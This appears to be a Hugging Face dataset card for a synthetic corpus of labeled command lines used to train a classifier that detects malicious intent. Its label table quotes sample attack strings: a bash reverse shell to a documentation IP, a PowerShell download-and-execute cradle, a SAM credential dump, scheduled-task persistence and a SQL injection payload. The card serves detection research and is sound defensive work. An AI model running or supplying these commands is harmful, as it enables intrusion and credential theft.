File size: 6,553 Bytes
7023796
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
---
license: apache-2.0
language:
- en
pretty_name: Script & Payload Intent (Synthetic)
size_categories:
- 10K<n<100K
task_categories:
- text-classification
tags:
- cybersecurity
- security
- malware-detection
- command-line
- powershell
- bash
- sql-injection
- mitre-attack
- synthetic
configs:
- config_name: default
  data_files:
  - split: train
    path: data/train.jsonl
  - split: validation
    path: data/validation.jsonl
  - split: test
    path: data/test.jsonl
- config_name: challenge
  data_files:
  - split: test
    path: data/challenge.jsonl
---

# Script & Payload Intent (Synthetic)

Labeled command lines and query fragments from bash, PowerShell, Windows `cmd`, SQL and HTTP request
lines, each tagged with the **intent** behind it. It was built to train
[`DaveyD347/script-intent-distilroberta`](https://huggingface.co/DaveyD347/script-intent-distilroberta),
a classifier that triages process command lines, shell history and WAF logs.

| Label | What it covers | Example |
|---|---|---|
| `benign` | Everyday admin, dev and DBA work, including look-alikes such as `nc -zv`, downloads that aren't executed, base64 and encoded PowerShell | `sudo systemctl restart nginx` |
| `reconnaissance` | Host, user, network, privilege, cloud and AD discovery | `nmap -sV -sC -O 192.0.2.0/24` |
| `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | `reg save HKLM\SAM C:\Windows\Temp\sam.save` |
| `reverse_shell` | Interactive callbacks to a listener in bash, Python, Perl, PHP, PowerShell, socat and similar | `bash -i >& /dev/tcp/192.0.2.10/4444 0>&1` |
| `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells | `schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon` |
| `download_execute` | Fetching a remote payload and running it (stagers, LOLBins, cradles) | `IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')` |
| `sql_injection` | Injection payloads as they appear in parameters, queries and request lines | `' UNION SELECT NULL,username,password FROM users-- -` |

## Splits

| Split | Rows | Templates | Purpose |
|---|---|---|---|
| `train` | 11,760 | 377 | Training (1,680 per class) |
| `validation` | 1,680 | 55 | Model selection |
| `test` | 3,360 | 108 | Final evaluation (480 per class) |
| `challenge` | 73 | n/a | Hand-written, out-of-template stress test |

**The splits are template-disjoint.** Every row comes from one of 540 templates, and each template is
assigned to exactly one split, so the test set measures whether a model generalizes to *command
patterns it never saw* rather than to new IPs or file names in familiar commands. A random split would
inflate scores close to 100%. Exact-duplicate texts across splits are removed.

The `challenge` config holds 73 commands written by hand after the templates were final, with different
IP ranges, tools and phrasing (for example `naabu`, `trufflehog`, `pypykatz`, `finger | cmd` stagers and
`msbuild` loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark.

## Fields

| Field | Type | Description |
|---|---|---|
| `text` | string | The command line, script fragment, query or request line |
| `label` | string | One of the seven labels above |
| `label_id` | int | Index of `label` in the order listed above |
| `language` | string | `bash`, `powershell`, `cmd`, `sql` or `http` |
| `mitre_technique` | string or null | MITRE ATT&CK technique ID for malicious rows (null for benign) |
| `template_id` | string | Source template, for group-aware splitting and error analysis |

## How it was made

1. **Templates.** 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in
   MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates
   drawn from routine Linux, Windows, container, cloud and SQL administration.
2. **Slot filling.** IPs, ports, users, domains, paths, file names, service names, tables and base64
   blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell
   `-EncodedCommand`) of either malicious or benign commands, so encoded text appears in both classes.
3. **Augmentation.** Random casing for Windows commands, absolute binary paths, `sudo` prefixes,
   `cmd.exe /c` and `powershell.exe -Command` wrappers, doubled spaces, and SQL-injection-specific
   prefix, comment, case and whitespace-encoding variants.

Reproduce with `python src/generate_dataset.py --out data --per-class 2400 --seed 42`.

### Safety and privacy

- **No real infrastructure.** All IPs are RFC 5737 documentation ranges (`192.0.2.0/24`,
  `198.51.100.0/24`, `203.0.113.0/24`) in the generated splits and RFC 1918 private ranges in the challenge set; domains use `.example`/`.test` or `example.com`-style names.
- **No real people or secrets.** Usernames, passwords and SSH keys are fake placeholders.
- **No novel tooling.** Every malicious pattern is a publicly documented technique that defenders
  already write detections for. The dataset contains command *strings*, not binaries or exploits.

## Limitations

- **Synthetic distribution.** Real command lines are longer, messier and more varied. Expect lower
  accuracy on production telemetry than on this test split.
- **One label per row.** Real attacks chain intents (a cron job that opens a reverse shell is both
  persistence and a reverse shell). Each row gets the label of its *primary* intent; a cron entry is
  labeled `persistence` even if its payload is a reverse shell.
- **Context-free.** Some commands (`whoami`, `net user`, `sudo -l`) are benign or reconnaissance
  depending on who runs them and when. The dataset labels them by their typical use in attack
  chains, and the `benign` class includes the most common everyday forms.
- **Obfuscation coverage is shallow.** Heavy obfuscation (Invoke-Obfuscation, string concatenation,
  environment-variable tricks) is mostly absent.
- **English, Latin-script only.** Comments and identifiers are English.

## Intended use

Training and evaluating command-line intent classifiers, detection-engineering prototypes, and
teaching. It should not be the only signal in a production detection pipeline.

## Citation

```bibtex
@misc{script_intent_2026,
  title  = {Script & Payload Intent (Synthetic)},
  author = {DaveyD347},
  year   = {2026},
  url    = {https://huggingface.co/datasets/DaveyD347/script-intent-commands}
}
```